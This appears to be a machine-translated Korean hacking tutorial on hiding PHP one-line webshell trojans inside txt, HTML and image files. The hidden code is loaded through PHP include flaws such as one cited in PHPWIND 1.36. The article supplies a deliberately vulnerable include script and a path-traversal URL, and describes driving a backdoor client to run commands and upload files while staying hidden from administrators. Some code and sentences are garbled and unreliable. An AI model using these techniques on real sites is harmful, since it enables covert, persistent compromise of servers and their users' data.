최근 많은 친구들이 HTML이나 그림에 한 문장의 트로이 목마를 숨길 수 있는지 문의해 왔습니다. 실제로 PHP 파일에 한 문장의 트로이 목마를 삽입하는 것은 이미 매우 숨겨져 있습니다. 이 테스트 보고서를 계속 읽어보겠습니다. PHP 문을 이미지에 넣으면 어쨌든 실행되지 않는다는 점을 알아야 합니다. 왜냐하면 PHP는 확장자가 php인 파일만 구문 분석하기 때문입니다. 그래서 그림에 숨겨진 PHP문을 실행할 수 있어야 합니다. 우리는 단지 PHP의 호출 함수(include, require 등)를 사용합니다.
우리는 며칠 전 사진에 트로이 목마를 숨겼다는 기사를 아직도 기억합니다. 즉, PHP 파일에 있는 include("x.gif")와 같은 문을 사용하여 이미지에 숨겨진 트로이 목마 문을 호출합니다. ASP의 명령문은 유사합니다. 굉장히 숨겨져 있는 것 같지만, 이미지를 직접 불러오면 PHP에 대해 조금 아는 사람이라도 의심스러운 점을 발견하는 것은 어렵지 않을 것입니다. URL에서는 GET 방식으로 매개변수를 전달하기 어렵기 때문에 트로이목마 삽입 성능을 충분히 활용하지 못한다.
include 함수는 PHP에서 자주 사용되므로 보안 문제가 너무 많이 발생합니다. 예를 들어 PHPWIND1.36의 취약점은 include 뒤에 있는 변수 필터링이 부족하여 발생합니다. 이를 통해 유사한 명령문을 구성하여 PHP 파일에 삽입할 수 있습니다. 그런 다음 사진이나 HTML 파일에 트로이 목마를 숨기면 더 은폐된다고 할 수 있습니다. 예를 들어 PHPWIND 포럼에 다음 문을 삽입합니다. ＜ ''?@include includ/.$PHPWIND_ROOT;? ＞일반 관리자는 볼 수 없습니다.
포함 기능의 도움으로 txt, html 및 이미지 파일과 같은 다양한 유형의 파일에서 PHP 트로이 목마를 숨길 수 있습니다. 이 세 가지 유형의 파일인 txt, html 및 이미지 파일은 포럼 및 기사 시스템에서 가장 일반적이므로 아래 순서대로 테스트를 수행합니다.
먼저 test.php 파일을 생성합니다. 파일 내용은 다음과 같습니다:
$test=$_GET['test'];
@include 'test/'.$test
?>
Txt 파일은 일반적으로 설명 파일입니다. 한 문장 트로이 목마 디렉터리의 설명 파일로 이동해도 괜찮습니다. TXT 파일 t.txt를 만드세요. 한 문장으로 구성된 트로이 목마를 t.txt 파일에 붙여넣습니다. 그런 다음 http://localhost/test/test.php?test=../t.txt를 방문하십시오. t.txt의 내용이 보이면 OK입니다. 그런 다음 lanker mini PHP 백도어 클라이언트 Trojan 주소를 http Just에 추가하십시오. ://localhost/test/test.php?test=../t.txt 의 비밀번호에 cmd를 추가하면 실행 결과를 확인할 수 있습니다.
HTML 파일의 경우 일반적으로 템플릿 파일입니다. HTML 파일에 삽입된 트로이 목마가 표시되지 않고 호출되어 실행될 수 있도록 HTML에 다음과 같은 숨겨진 속성이 있는 텍스트 상자를 추가할 수 있습니다. 그런 다음 위와 동일한 방법을 사용합니다. 실행의 반환 결과는 일반적으로 소스 파일을 보면 확인할 수 있습니다. 예를 들어, 이 프로그램의 디렉토리를 보는 기능을 사용하십시오. 소스 파일 내용을 보면 디렉터리를 C:Uniserver2_7swwwtest로 가져올 수 있습니다.
이제 이미지 파일에 대해 이야기해 보겠습니다. 가장 위험한 방법은 이미지에 트로이 목마를 숨기는 것입니다. 사진을 직접 편집하여 사진 끝에 삽입할 수 있지만
일반적으로 사진에는 영향을 미치지 않습니다. 그런 다음 동일한 방식으로 클라이언트 트로이 목마 주소를 추가
하고 PHP 환경 변수를 확인합니다. 반환된 결과는 원본 이미지입니다.
실제로는 명령어를 실행했지만, 반환된 결과를 볼 수는 없습니다. 실제 GIF 파일이기 때문에 반환된 결과가 표시되지 않습니다. 실제로 실행되었는지 검증합니다. 명령을 받은 후 파일 업로드 명령을 실행합니다. 예상대로 파일이 서버에 성공적으로 업로드되었습니다. 이러한 위조의 장점은 잘 숨겨져 있다는 것입니다. 말할 필요도 없이, 반응이 없다는 것이 단점이다. 반환된 결과를 보려면 메모장을 꺼내서 가짜 이미지 파일을 만드세요.
이제 기본적으로 테스트는 완료되었습니다. PHP 백도어를 숨기는 방법은 사용자의 선택에 따라 다릅니다. 급하게 쓴 글이니 잘못된 부분이 있으면 지적해주세요!